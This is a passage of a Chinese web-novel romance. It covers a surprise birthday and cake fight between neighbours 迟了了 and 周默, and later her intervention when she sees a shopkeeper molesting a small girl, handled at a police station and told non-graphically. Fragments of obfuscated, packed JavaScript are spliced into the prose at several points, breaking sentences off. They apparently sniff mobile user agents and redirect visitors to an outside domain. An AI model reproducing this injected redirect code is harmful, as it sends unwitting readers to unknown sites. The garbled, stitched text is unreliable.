出于互帮互助的邻里准则和两肋插刀的朋友情谊，迟了了决定准备一份惊喜，让周默开心一下。 思来想去，她想起了这串由他的生日换算而来的二进制密码。 迟了了是个扎扎实实的艺术生加文科生，别说什么十进制与二进制的互相转化了，就是数学，打她上大学之后也再没碰过这门课。今晚，为了完成这次逆向换算，她做足了准备。 好在虽然看着复杂，但也没有太精深，迟了了上网查了下换算方法，试了几种可能性，又经历了几次头晕眼花的运算失误后，总算是把几种结果都算出来了—— 1月7日、2月7日、4月7日，和9月3日。 她换了支彩笔，把最后的9月3日重点圈画出来。 “其他日子都过去了，不管是不是，先过这个吧！” 就算是过错了，应该也不会生气吧？迟了了心想。 反正如果是她，巴不得别人天天给自己过生日！过错了更好，白赚一次生日礼物！ 打定主意，她托着下巴，开始思考如何给周默过个别出心裁的“生日”。 - 转眼到了9月3日这天，周默照旧深夜才下班回来。 出了电梯门，他刚走两步，就发现有些不对劲。 转身往后看去，下一秒就倏地一怔。 只见对面802门口，一男一女正紧紧相拥着，热情激吻。 男的一身正装，背对着周默，看不清他的样子，只看得出来身形挺拔，但他怀中的女人波浪般的长发垂落，酒红色的指甲扣在男人肩头，却是上次见过的谭心无疑。 两人吻得难舍难分、热烈似火，不时还能听到从两人唇齿间发出的暧昧的声音。 周默垂下目光，却没有丝毫尴尬的慌乱。 毕竟，这种场面，他在国外见过很多。 正要转身回去，相拥的两人中谭心却似乎察觉到什么，缓缓睁开了眼。 正对上周默的目光。 她媚眼一弯，收手推了推男人的胸膛。 男人动作顿了一下，而后才稍稍松开一些，低头看向她，又顺着她的目光看向自己身后。 “才下班？”谭心若无其事地问候。 “嗯，”周默垂下眼，“不打扰你们了。” 说着就回身去开门。 可就在他手指刚碰到门把手的时候，身后谭心又叫住了他。 “哎，”她仍倚在男人怀里，弯唇笑得妩媚，眼里却已经没有了方才的迷离，“你跟了了，是什么情况？” 周默一顿，收回手指朝她看去。 “……朋友。”他说。 “朋友……”谭心意味深长地重复了一遍这两个字，倏地又笑了，“看你人还不错，友情提示一下，如果你对了了有什么想法，小心许愿回来揍你哦~” 说罢不等周默有什么反应，她便扔了声“晚安”，然后回身开门，牵着男人进屋去了。 随着门后响起“嘭”的一下重击声，猝不及防被戳破心事的周默回过神来，垂眸眨了眨镜片后的眼睛。 蓦地，勾唇笑了一下。 等片刻后再抬头，那双眼睛里已经恢复了一贯的波澜不惊。 他转身抬手，按下指纹，开门进屋。 …… 然而刚进门，习惯性要去开灯的手就忽地一顿。 周默抬头朝屋内看去。 本该漆黑一片的房子里，不知被谁弄得，从门口开始，就沿着墙根扯了两条长长的星星形状的黄色小灯串。 黄色的星星一闪一闪，从门口一直往里延伸，像是铺开了一条童话一样的小路。 周默愣了几秒，旋即抿起唇，有些哭笑不得。 能做出这种事情的，除了迟了了，他不作他想。 不过……她这又是搞得哪一套？ 周默想了想，决定当作什么也没看出来，顺着她的设计走下去。 沿着星星小灯的方向抬步走过去，他走进客厅、走到阳台，然后又去书房转了一圈。 期间每隔一段距离，星星小路上还会出现一个小奖励，比如一根棒棒糖、一个苹果、一个小玩偶…… 直到最后，他顺着小路来到了厨房的冰箱前。 而在他双脚在冰箱前站定的一瞬间，冰箱上，一个小灯牌突然亮了起来。 “打开我” ——灯牌上这么写着。 于是，周默抬手打开了冰箱。 而下一秒，看着冰箱里的一切，他终于知道，迟了了折腾这么一晚上，到底是为什么了…… 只见原本存了不少水果食材和矿泉水的冰箱冷藏室，此时完全变成了另一番模样：白色的舱室内，长着绿色叶子的塑料藤蔓混着米粒大的小灯串在内壁上铺了一圈又一圈，原本冰冷的空间被打造成了一个生机盎然的小天地。 而这样的小天地里，还有一棵树、一群栩栩如生的小动物，和一块不大，却很漂亮的青提蛋糕。 “嘭！——” “Suprise！！！” 还没从眼前的情形中反应过来，周默便听到身后突然嘭的一声巨响，同时还伴随着迟了了清脆的嗓音。 他猝不及防被吓了一跳，立刻转过身去。 这一看，又倒吸一口凉气！ 在他身后站着的，竟然是个一人高的粉白兔子！ 这兔子脑袋圆圆，足有两个篮球那么大，粉色的鼻子下还有两道人字形的开口，上面两只眼睛似乎是用透明硅胶材质制成的，晶莹剔透，在冰箱里黄白色灯光的散射下，透出瞳仁中微微萦绕着的红色，看起来十分逼真。 也十分吓人。 唯一不那么吓人的，应该就是兔子脑袋上支到一半又折下来的兔耳朵了。 此时这只“兔子”正保持着刚刚亮相的姿势，两只手掌举着一根长长的料筒，头上还落了几撮礼炮炸出来的碎纸片。 “……迟了了。”周默颇感无奈地唤道。 “兔子”却不认，晃晃脑袋捏着嗓子反问：“迟了了是谁？我是兔子小姐！” “……” 周默叹了口气，又说：“迟了了，把头套摘下来。” 许是因为他的语气太过平静，平静得有些让人捉摸不透，这次“兔子”不说话了，放下胳膊，往后退了两步，然后一动不动地仰头看着他。 周默也低头看着她。 隔着一层兔子脑袋和昏暗的光线，两人谁也看不清对方的神色。 过了会儿，“兔子”认输，举手去摘头套。 可刚举到一半，头套里就发出哎呀一声。 “怎么了？”周默忙问。 “扯到头发了……”迟了了惨兮兮地说。 周默嘴角一抽，只得上前去帮她摘头套。 …… 五分钟后。 801的灯重新亮起，客厅里，周默和迟了了一人一边坐在沙发里，仍然可见一丝狼狈。 周默抱着兔子玩偶圆滚滚的脑袋，看着迟了了用手耙了耙头发，然后将发卡戴好。 等她收拾好，他才开口问出已经忍了很久的问题：“你这又是在搞什么？” 迟了了顺好头发，又拍了拍发卡，最后伸手示意两人面前茶几上的蛋糕，神采奕奕道：“给你过生日呀！” 虽然心里早有猜测，可听到这个答案，周默呼吸还是蓦地一滞。 “……你，怎么知道今天是我生日？” “我算出来的呀，”迟了了不无得意地伸出四根手指，“你说你大门的密码是生日的二进制转换，我就在网上查了二进制转换成十进制的方法，其实一共算出来四种可能呢，但是其他都在上半年，只有今天我赶得上了，就拿这个碰碰运气了。如果过错了，那就算你赚了！” 说到这，她一喜，又问：“所以我碰对了是吗？” 而周默听她说完，心里早已说不清是什么滋味。 他已经好多年没正经过过一次生日了。 记忆中上一次郑重其事地过生日，还是研究生期间。 那年夏天，他因为要参加一个国际比赛，需要提前返校，外婆便提前给他过了生日，准备了生日蛋糕、蜡烛，还有一桌丰盛的饭菜。 第二年，他便出了国，之后一待便是多年。 中间虽然每年都会回来，却再也没碰上过他的生日。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818876|175446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 只是每年这天，外婆都会给他打电话，提醒他给自己过生日，吃顿好吃的。 而隔着十二个时区，周默在电脑前听话地应着，等一挂了电话，转头又把这事儿给忘了。 没想到时隔多年，再给自己过生日的，竟然是迟了了。 “对了吗对了吗？”迟了了见他没反应，又问了一遍。 周默回过神来，看着她。 面前的这双眼睛还是那样晶莹剔透，仿佛是被山泉冲刷掉所有杂质的黑曜石，透着让人移不开视线的亮。 面对这样一双眼，周默感觉自己的那点心思几乎就要按捺不住。 “你——” 他忍不住想问：你为什么费这么大心思要给我过生日？你对我，是不是也有不一样的感觉？你…… 然而动了动唇，他又发现自己还是开不了口。 他习惯了和各种数据、代码打交道，这些东西是可视的、确凿无疑的，只要他将自己的需求和命令输入进去，代码便会自动生成他想要的答案，十拿九稳。即便偶有失误，按图索骥，也总能找出bug进行修复。 面前的情形却与之截然不同。 他不知道自己是什么时候对迟了了动了心，即便这些天他将搬过来后与她打交道的经历几乎事无巨细地复盘了好几遍，也还是没有找到那个关键节点。 甚至是某个量变引起质变的Enter键…… 而更让他苦恼的，是她对自己的态度。 研究人工智能的人都将机器仿人脑作为毕生理想，可也没有人比他们更清楚，机器算法和人脑之间的区别到底有多大。 算法可以预测、能够控制，而人脑，始终是个谜…… 他习惯不做无把握之事，于是总想在获取到更多的信息之后，再决定如何采取下一步动作。 然而，太难了…… 迟了了随意的一个举动、一句话，似乎都能让他系统溃乱，原地宕机。 她来敲门、她不来敲门、她发了消息、她撤回了消息、她抱怨某件事、她前一天没睡好、她给青梅竹马的男生画画、她对那个男生的情况如数家珍、她说起他以前的糗事、她……给自己过生日。 明明他从来比谁都沉得下心，可却总在她面前方寸大乱、仓皇而逃…… “对了。”半晌，他说。 “Yes！”迟了了双拳一握，比了个胜利的手势，下一秒转眼一看，蜡烛已经烧了快一半了，她赶紧催促，“快快快！许愿、吹蜡烛！” 说完，她一顿，歪歪头：“许愿？” 然后乐了，摆摆手：“不管他，吹蜡烛！” 周默听到她重复这两个字，心里又是一闷，想到刚刚在门外听到的提醒，更觉得难受了。 摇摇头，他将这两个字抛诸脑后，然后如迟了了所说，闭眼默念，然后吹蜡烛。 之后迟了了又催他切蛋糕。 “没有用玉米油哦~”迟了了笑嘻嘻地说。 突然，她想起什么，脸色一变：“对了，我之前，是不是也给你送过一次蛋糕，你刚搬来的时候？你吃了吗？！” 周默目光微微一闪，然后摇头，脸不红心不跳地说：“没有，被祝赫抢走了。” 迟了了顿时松了口气：“幸好幸好！那些都是用玉米油做的，还好你没吃。” 周默：“……” 虽然只是6寸的小蛋糕，但两个人吃还是有些大了。 更何况周默本就不爱甜食，浅浅尝了几口之后便吃不下了。 转头看旁边，迟了了正挖了一大勺兴致盎然地往嘴里填。 细腻的奶油包裹着绿色的青提，白与绿形成鲜明的视觉对比，在被迟了了一口咬下的同时，也在她嘴角留下了一抹痕迹。 周默看着那一点白，手指情不自禁地动了动。 这一刻，他心里突然冒出一丝有些恶劣的念头：如果，自己给她擦掉了，她会有什么反应呢？ 这么想着，他也确实这么做了。 迟了了还没反应过来，便感到嘴角有一抹温热的触感擦过，她猛地一吓，立马转过头来。 然后，就对上了周默的视线。 再然后，她视线一垂，落在周默还在自己脸旁没有撤回的手上。 大拇指指腹上，还有刚刚擦掉的一小块白色奶油。 而原本只是擦着唇角的手指，因为她这一动作，若即若离地碰到了她的唇。 那样柔软的唇。 周默的呼吸几乎都停滞了。 他就这样看着她的眼睛，看着她黑褐色的瞳仁里面仿佛倒映着自己的脸。 试探的、有些紧张却又不愿就此服输的脸。 而这时，这双眼睛也渐渐褪去了一开始的诧异，变得不解、恍然，而后，又染上一抹主人特有的狡黠。 再然后—— “呜！” 周默忽觉眼前一黑，一阵突如其来的凉意便已扑面而来，遮挡了视线，像是有什么又湿又厚的东西糊在了脸上。 紧接着那东西又掉下去，“噗”地一下砸在了他的衣服上。 49. 生日快乐 “哈哈！偷袭成功！” 迟了了一下子叫笑着蹦开，等跑到几步外又回头指着周默哈哈大笑。 满脑子绮思瞬间烟消云散，周默抬手抹了一把脸，入手尽是粘凉滑腻的奶油。 摘下眼镜，上面也都是白花花一片。 再看身上，几秒钟前还被迟了了端在手上的精致蛋糕，此时一塌糊涂地趴在他的腿上，俨然一副摆烂的模样。 “迟，了，了——” 去她的什么心动、什么试探！ 周默咬牙切齿地念出她的名字，恨不得把她抓回来！ 摁在沙发里！ 用蛋糕涂得她满头满脸！ 迟了了拉开架势，双手举在身前比了个“X”作防御状，同时左右看看，一溜烟钻进厨房，等出来时手中拿了个锅盖当盾牌，将自己的脸挡得严严实实。 走近几步，她从锅盖后面露出一双眼睛，正要说什么，一对上跟个肯德基爷爷似的周默，又忍不住再次大笑起来。 周默抽出纸巾擦掉眼镜上的奶油，重新戴上，对着面前这个装备完善的“熊孩子”眯了眯眼——单靠纸巾实在擦不净奶油的黏腻，他只能透过镜片上残存的白色痕迹看着她。 “来呀，我不怕你！” 迟了了对上他的目光，立刻绷起脸，清了清嗓子，然后下巴一扬，极尽嚣张。 周默闻言微微勾唇，皮笑肉不笑地从沙发上缓缓起身。 他个头将近一米九，这副动作落在迟了了眼里不啻于一头巨兽正在苏醒。 她有些怂了，咽了咽口水，又悄悄后退了一步。 但也仅仅是一步，她又停下：这种时候，怎能露怯！ 可紧接着目光从锅盖后面看向茶几上的蛋糕，她又不禁懊恼：失策了，“武器”不在自己这边…… 算了！不管了！ 迟了了心一横，脚一跺，举着锅盖“啊——”地大喊一声，就朝那块蛋糕冲了过去。 一场幼稚的奶油大战，正式爆发！ …… 然而，仅仅五分钟之后，这场声势浩大、交战双方实力悬殊、武器破坏力堪称灾难的“战役”，便结束了。 一片狼藉的“战场”上，位于中心的茶几自是一片混乱不必多说，旁边的沙发、地毯、花瓶、窗帘也同样没能幸免，甚至沙发后的书桌也被牵连在内。 而最最狼狈的，还是要数迟了了。 被用来当作盾牌的锅盖早就丢在一旁，栗色的长发上一块一块，全是白色绿色的奶油，还有额头上、鼻子上、下巴上……身上自然也不少，不过好在她还穿着那件兔子玩偶的衣服。 迟了了气呼呼地撩开头发，艰难地伸手摸到后背的拉链，然后将拉链一拉到底，又将自己从玩偶服中剥离出来，这才露出里面自己的干净衣服。 只是一颗脑袋，仍然不堪入目。 再看她面前的周默，除了最开始被她偷袭的脸上那块以外，衬衫和长裤上也蹭上不少。 迟了了心里稍稍平衡了，起码自己不是毫无战果！ “我好心给你过生日，你竟然还袭击我！”她抬手指控道。 周默正拿纸巾擦着脸上的奶油，闻言冷冷抬眸瞥她一眼：“倒打一耙？” 迟了了一扬眉：“我不管，反正你要弥补我损失。” “你有什么损失？” 迟了了一指脚下：“交给你了！” 周默目光下垂，在那件兔子衣服上定了定，又平静地看向她，没有说话。 迟了了被他看得有点心虚，眼睛转向别处，当不知道。 “好了，时间也不早了，你赶紧收拾收拾早点睡吧，我也要回去睡觉了！”最后，她“善解人意”地挥挥手，礼貌告辞退场。 周默才不信她要回去睡觉，却也没有开口阻拦，就这么看着她一溜烟蹿出了门。 等屋内只剩他一个人，周默环顾四周，在满屋混乱中重新坐回沙发里。 面前桌上的蛋糕已经所剩无几，他沉默地看着，良久，突然鬼使神差地伸出手。 修长的手指在蛋糕托盘上轻轻掠过，撩起一抹雪白色的奶油。 他将手指举到眼前，看了一会儿，然后，放进了嘴里。 霎时间，香浓的奶油味再次充盈味蕾，甜腻中带着一丝明媚的，像阳光一样的味道…… 下一秒，周默往后一躺，仰头靠在靠背上。 闹也闹够了，蛋糕也吃过了，人也已经走了，周默还是不明白，她为什么突然要给自己过生日。 或许，只是因为想过？ 毕竟以迟了了的性格，她想做什么，好像也不需要理由…… 想通这一点，他倏地低头，黯然笑了一下。 目光落在已经干净的食指上，他看了会儿，然后捻起手指，轻轻搓了搓。 指纹摩擦的触感酥麻麻的，一如他此刻的心情，有些轻松、有些微酸，还有细微蠢蠢欲动，和几分不知该往何处去的气闷。 …… 不知坐了多久，周默正准备起身去收拾眼前的残局，旁边的手机响了一声。 他只好又坐回去，拿过手机一看，再次怔住—— 【周默，差点忘了跟你说，生日快乐！！！】 与此同时，因为这句话，屏幕上出现了一大片从天而降的白色小蛋糕，像是在下一场蛋糕雨。 而下一秒，手机上显示的时间也从23:59跳到00:00。 对话框里立刻又跳出一句：【幸好幸好，赶在12点之前了！】 她发消息从来不吝啬于使用感叹号，周默仿佛能透过这几个字看到对面迟了了手舞足蹈的样子。 可再对比她将蛋糕糊在自己脸上和丢下一片狼藉逃之夭夭时的恶劣，周默又不禁无奈失笑。 然而一抬眼，手机上再次跳出一条消息却又让他脸上笑意倏地一滞。 【周默，你现在开心了吗？我感觉你最近情绪有点起伏不定，如果是因为工作压力太大的话，那就祝你从新的一岁开始，工作顺利，天天开心呀！】 【还有还有，沙发后面有给你准备的生日礼物，刚刚忘记给你了！】 此时窗外早已是夜深人静，客厅里明亮的灯光下，周默对着这段话看了很久很久…… 最后，他点开输入框，打下两个字：【谢谢。】 放下手机，他起身绕到沙发后面。 未被蛋糕大战波及的净土上，一个扁平状礼盒正静悄悄地躺在地板上，大半盒身藏在沙发底下，外面只露出被彩纸包起的一角。 周默俯身，拿出礼盒。 礼盒比他预想的大一些，等完全抽出来，更发现足有他小臂长。 周默拿着它，回到沙发前坐下，然后小心撕开外层的包装纸。 刚撕到一半，他就已经确定，这是一个画框。 然而等他将它翻转过来，画的内容又让他不期然一怔—— 这画……竟然是他自己。 周默忽地想起什么，立刻转头往后看去。 然后他又起身走到茶几前，盘腿坐在地毯上，再次看向书桌的方向。 没错，是这个角度！ 所以那天…… 她真的是在给自己画像。 “呵。” 周默愣怔片刻，蓦地笑了出来。 下一秒，他像是下定了某种决心，伸手拿过手机，调出和迟了了的聊天窗口，然后毫不迟疑地将聊天界面快速向上滑去。 白色与绿色气泡交织的聊天界面上，记忆随着时间标记一并回溯，一天、两天，一周、两周…… 直到将近两个月前。 - 第二天，周默正在上班，办公室的门被人敲响了。 抬头看去，就见穿着灰色衬衫的祝赫正噙着一抹奇怪的笑，斜倚在玻璃门上。 “在忙吗？”见他抬头，祝赫优哉游哉地问道。 周默收回目光，继续看向手中的电脑：“你觉得呢？” “我觉得？”祝赫从门上直起身，顺手关上门，然后走过来，在他办公桌对面坐下，“我觉得你最近有情况。” 周默手指一顿，再次从电脑后抬起眼：“什么意思？” 祝赫似笑非笑地示意了眼旁边倒扣着的手机：“换新头像了呀？” 周默也朝那边瞥了一眼，而后仍是一副若无其事的样子：“怎么，不能换？” “换！当然能！不过——” 祝赫双手扶在桌子上，上身凑近，和他一屏之隔地打量着他的神态，“你怎么突然这么有童心了？竟然换了个漫画头像？” 要知道，周默这人一向缺乏生活情趣，这种无趣体现在社交账号的头像上，就更加的寡淡死板，自从祝赫认识他、自从他开始用微信，头像便是数十年如一日的风景照，换都不带换的。 这样一个人，在持续一段时间的不对劲后，突然换了个手绘的卡通自画像做头像，这怎么能不让祝赫留个心眼？ 是的，他也留意到了眼前这人这段时间的阴晴不定，不过只是隐隐感觉，甚至有时候他都怀疑是不是自己多想了。 不过直到刚刚，他准备给周默发消息时突然发现对面的头像换了，才更加确定了自己的猜测。 “说起来，我记得小知了就是画儿童绘本的吧？”祝赫双手抱臂，手指敲着下巴，“她的头像，好像也是个——” 说着，他挑眉看向周默。 周默也淡淡看着他：“你想说什么？” 呵，还他想说什么。 “情侣头像。”祝赫索性直说了。 “你想多了。”周默否认得也很直接。 见他还在嘴硬，祝赫微微一笑，拿出手机：“行，那我让小知了也给我画一个！” 这下周默绷不住了，脸色微微有些不自然。 祝赫满意地收起手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周默冷呵一声，没好气道：“谢谢你，这么不管我的死活。” 祝赫笑得毫不愧疚。 “哎对了，”他想起先前找周默聊天要说的正事，“‘点睛’这边的人员，我想来想去，要不要让医疗机构那边派个人来驻场？” 养老机器人的研发，医疗是举足轻重的一个模块，先前为了获得足够多且专业的医疗数据和技术支持，精卫跟专业的医疗机构和医院都签署了合作协议。 只是如今项目开展起来，他发现只是数据合作和医疗支持还远远不够，最好公司内部能有个专业人士深度参与进来，如此不管是“点睛大模型”的开发，还是人机交互的机械设计，都会高效很多。 周默闻言思忖片刻，说：“这个问题，我最近也在考虑。但是驻场的话，没有必要，他们那边的人就算来了，能起到的作用也有限。因为除了医学和生物学之外，我还需要这个人能懂计算机和工程学，最好，是神经工程方向——” “你是说，咱们自己招一个？”祝赫反问。 “对。” 祝赫立马“啧啧”两声：“你都想得这么细了，显得我很傻诶。” 周默淡淡扫了他一眼：“这是我主持的项目，缺什么人，我当然比你更清楚。” “……行。”祝赫没脾气地点点头，“那——” “先看着吧，”周默说，“也不着急，你和我对这方面都不太了解，回头找相关人士或者猎头先问问。” “成。” …… 送走了看热闹的祝赫，周默继续工作。 然而先前的状态被祝赫这一通搅扰，便总也无法再集中精神。他工作了一会儿，忍不住打开和迟了了的聊天界面，想着是不是该给她发个什么消息，好让她看到自己换了她画的头像？ 可转而他又想，如果迟了了看到了，她会有什么反应？ 是会察觉到什么，还是会嘲笑自己打脸？ 估计会是后者吧，而且还是那种她自己完全不觉得的取笑。 想到这里，周默不禁一阵心塞。 这也太难办了…… 就在这时，他手里已经熄屏的手机突然响了起来！ 周默霍地回神，转头看去，下一秒呼吸一滞—— 来的是个语音通话。 呼叫人不是别人，正是迟了了。 刹那间，他脑子里闪过无数个念头，然而这些念头又只是一闪而过，他看着手里的来电界面，深吸一口气，稳了稳自己的思绪，按了接听。 两秒后—— “什么？派出所？” “你别动，我现在过去！” 50. 才想到你 今天是个好日子！ 迟了了那张电影海报的商稿经过多轮修改后，终于正式定稿。 天气不错，心情也很好，迟了了在家待不住，决定出去走走，抓住夏天的尾巴！ 游玩这种事自然要跟朋友一起，于是她马不停蹄地向闯闯发出邀请。 可这份自在惬意，却让正在店里忙得晕头转向的闯闯大大破了防，转头就用语音恶狠狠地回了两个字： “不！去！” 迟了了被凶得缩缩脖子，在去店里帮忙和一个人出去玩之间徘徊了两秒，果断选择了后者。 因为没有特定的目的地，迟了了选择骑车出行，准备沿着马路骑到哪是哪儿。 荔安算是个旅游城市，绿化做得极好，不仅有穿城而过的荔江和最大的森林公园，大街小巷也都是郁郁葱葱的高木绿植，遮天蔽日，含氧量极高。 迟了了从小区出发，沿着马路一路骑行，遇到红灯就拐弯，遇到静谧的小路就扎进去，她戴着耳机一路骑一路逛，只觉得生活美好、人间值得！ 骑了一个多小时后，她有些累了，看到路边有家小卖店，便靠边停车，准备买瓶水休息一下。 这是一家位于老旧小区外的小卖店，面积不大，门面也不怎么高级，门口还支了个小摊，摆放着用蓝色塑料筐装着可供售卖的水果和蔬菜，看样子，应该是附近居民自家开的。 迟了了将车子靠在门口路边的一棵树上，走了进去。 店里灯光有些暗，门口一侧放着两台立式冰柜，另一侧是收银台，再往里是几排货架，东西摆放得有些凌乱，不过一眼扫过去倒也齐全。 此时，收银台里没人，迟了了茫然寻摸了一圈，也没见人影，便索性自助购物，打算等挑好了再喊人。 她先从冰柜里拿了瓶水放在柜台上，然后转身往里走，想看看有什么糖果饼干面包之类的。 然而，当她走到最里面的货架前时，突然听到货架后传来窸窸窣窣的说话声。 那声音压得很低，嘀嘀咕咕地，不时还带着含混不清的咕哝。 迟了了一愣，有些奇怪，脚步顿了顿，迟疑地迈过去。 越过货架，她看向声音传来的方向，这一看又是一怔。 只见货架尽头，也就是小卖店最里面的位置，一个穿着黑色老头衫的中年男人正面朝墙角，弯腰俯身。 凝神再看，又见他脚下的双腿之间，正露着一双红色的儿童小皮鞋。 迟了了面色一凛，脑袋里突然冒出一种很不好的猜想。 “喂，”她压低声音，试探着问，“你，在干什么？” 男人似乎被她这一声惊到了，慌张地回过头来。 而在他身前，一个正嗦着棒棒糖的小女孩也侧身扭头看了过来。 下一秒，看着眼前这一幕，迟了了脑子“轰”一下就炸了！ “我操你大爷！你在干什么！” 来不及多想，她捞起旁边的塑料板凳就朝男人抡了过去！ - “你等着瞧，我要告你！” “我要告你恶意伤人，诽谤我名誉！” “我要伤情鉴定！” …… “你少来，我朋友亲眼看见的还能污蔑你？你个老流氓、猥亵犯！” “还告我们！你等着被人孩子父母告吧！” “你还把我朋友打伤了！我们饶不了你！” 周默一路狂赶，刚进派出所，就听到调解室里传来一阵争吵声。 他连忙大步走过去，一进门就迎面看见白色桌子里面坐着的脸色极其难看的迟了了。 而更让他心头一紧的，是她左侧颧骨上贴着的方形创可贴…… 在迟了了旁边，还坐着个个头稍高、身形偏瘦的女生。此时，女生一手拍在桌上，一手直直朝对面指着，脸上露出愤怒嫌恶的表情。 顺着她的手指看去，在两人对面，一个身穿黑色老头衫、头上顶着纱布显然伤得更重的男人正捂着头，张牙舞爪地朝两人撂话。 迟了了正恶狠狠地瞪着男人，突然瞥见余光中闯入一个高大的人影，立即调转视线看过去。 “周默！” 她愤怒的目光骤然一亮，像是在外面跟人干架的小孩有了撑腰的家长似的，脸上的气愤瞬间一变，再看向对面的男人，她咬咬牙，仿佛一个挥拳就能把他凑趴下！ 其余四人被她这一声喊，齐齐扭头看过去。 这时，坐在桌首的两名警察之一屈指敲敲桌子，沉声：“都给我安静。” 周默给了迟了了一个安抚的眼神，看向两位警察：“你好，我是她朋友，请问发生了什么事？” 可话音刚落，两位警察还没开口，身后的男人便抢过话去：“可算来了个男的，你看看，你看看我这脑袋，就她砸的！她还污蔑我，说我猥亵那小丫头，呵，当我李老三什么人啊！我大大方方开门做生意，我行得正坐得端！” “呸！砸你是该砸！”闯闯一听，火气蹭地又上来了，“她污蔑你了吗？有没有猥亵你心里清楚！别说砸你，阉了你都不冤枉！” 眼看男人又要继续，警察忍不了了，再次用力一拍桌子，冲男人喊道：“你给我闭嘴！” 从在小卖店出手打人再到闹到派出所，迟了了面对男人的恐吓和破口大骂一直强撑着一口气，即便闯闯过来，也没敢放松。 直到此时看到周默，她才镇定下来。 见警察发怒，她立刻拽了拽闯闯的胳膊，示意她先稳住。 等两边都安静下来，警察才仰起头审视地看向周默，目光中有一闪而过的惊讶，随后其中一位清清嗓子：“你是，她俩的朋友？” 他示意里面的迟了了和闯闯。 “对。”周默说。 “那你也先坐吧。” 周默绕过他们，走到里侧迟了了另一边的椅子上坐下。 “怎么了？”他一落座便低声问迟了了。 “我看到他猥亵一个小女孩，就拿板凳砸了他！”迟了了罕见地生气了。 周默立刻皱了下眉，先是嫌恶地看了对面一眼，又转头将目光定回迟了了脸上：“他打你了？” “扒拉了两下，小伤。”迟了了浑不在意地摇摇头，“他也没占着便宜。” “那现在这是？” “现在在等隔壁房间里的女警官和小女孩妈妈问清小女孩情况，还有查店内监控。”迟了了瞥了眼对面，“这男的在他们小区外面开了家小超市，两家据说是邻居，所以还是想先把事情再确认一下。” 周默闻言，再次看向对面。 或许是因为他的表情太过冷淡，又或许是因为他的身高有一定的威慑力，总之，先前对这两个女生还气焰嚣张的中年男人，此时对上周默，变得老实了许多，转而瞪了迟了了一眼，哼地扭过头去。 他才不怕，他知道那里是店里的监控死角，就算他们把监控翻个底儿朝天也没有证据能证明什么。而且，他早就跟那小妮子说过，只是玩个游戏而已，自己送了她棒棒糖吃呢！ 再说了，一个四岁小屁孩的话，能当证据吗？ 呵！ 见他还敢瞪自己，迟了了立刻凶巴巴地瞪了回去。 收回目光，她凑近周默，压低声音问道：“对不起啊，打扰你工作了吗？我本来叫了我闯闯来的，可是这人一路上太凶了，我怕我们俩女生镇不住他，这才想到你的。” 周默一听这话，顿时吸了一口气。 “这才想到你的”？？？ 他是应该高兴迟了了想到了自己，还是应该不满她没有第一个想到自己？ 他找不到答案，只得郁闷地看了她一眼。 迟了了却以为他这是觉得烦了，赶紧又说了一声：“对不起啊！” 周默心里更堵了…… 另一边的闯闯早忍不住了，见两人说完拽拽迟了了的袖子。 “这人谁呀？”她小声地问。 刚刚这人突然出现在门口，且不说他那让人无法忽略的存在感，单就这张脸，她不过瞄了一眼，就差点在跟猥亵男的骂战中发挥失常，真是男色误事！ 他还说是自己这边的朋友？ “周默，我楼下的邻居。”迟了了凑到她耳边说。 楼下邻居？ 闯闯一怔，又悄悄看了眼周默。 这……就是那位来了“大姨夫”的邻居？ 看这张脸，配“大姨夫”这词，有点违和呀…… “砰——” 就在这时，隔壁房间的门被猛地推开，紧接着一个女人的骂声便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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两位男警察这才上前，一人拉住小女孩爸爸，一人按住中年男人，利落地从腰后掏出手铐，咔咔两声将他双手反铐在背后，这场混乱才算告一段落。 …… 之后，事情便由小女孩爸妈和警察处理了，迟了了三人功成身退，签了几个字之后又在小女孩爸妈不住地道谢中出了派出所。 然而走了两步，迟了了又停下来，转身回头看去。 派出所大厅里，刚送她们出来的小女孩一家还没离开，年轻的夫妻俩正一左一右低头看着女儿说些什么。 隔了些距离，迟了了听不真切，只隐隐约约抓到几个字眼：贪吃、没脑子、傻、长记性…… 发现迟了了没跟上来，闯闯不明所以地走过来，拉着她的手：“怎么了？走了。” 迟了了被她牵着走了几步，突然又一顿，下一秒，她扔下一句“等我一下”便挣开了闯闯的手，快步走了回去。 “小妹妹。”她来到一家三口跟前，轻声唤道。 正被爸爸妈妈呵斥的小女孩挂着一脸眼泪抬起头看向她，夫妻俩也都停了下来。 迟了了跟小女孩四目相对，轻轻蹲下-身子。 “你知道，今天发生了什么吗？”她抬手摸了摸小女孩的脸，轻声问。 不知是被方才的混乱吓到了，还是因为父母的指责，听了迟了了的话，她立刻乖巧地点点头。 “真的知道了吗？”迟了了轻声又问了一遍。 这次，小女孩顿了顿，眨眨眼低头思索了一会儿，又茫然地摇了下头。 迟了了牵起小女孩的手，扯出一抹笑：“刚刚爸爸妈妈是在保护你，因为那个坏叔叔骗了你，欺负了你。” “可是，他给我糖吃了。”小女孩疑惑地说，“爸爸妈妈平时都不让我吃糖。” “给你糖吃不都是好意，”迟了了说，“有些东西比糖更宝贵，比如你自己。” 小女孩歪歪头，显然不理解。 迟了了笑眯眯地看着她，抬手擦擦她脸上的泪，一向清脆欢快的声音里，罕见地透出一丝温柔：“你现在不懂没关系，回去让你妈妈教教你，女孩子身上有些地方是不能让别人碰的，要懂得保护自己。” 小女孩仰头看了向妈妈，见妈妈点了下头，她又看向迟了了，也听话地点了下头。 “真乖。”迟了了笑着说，可随即脸上渐渐变得郑重。 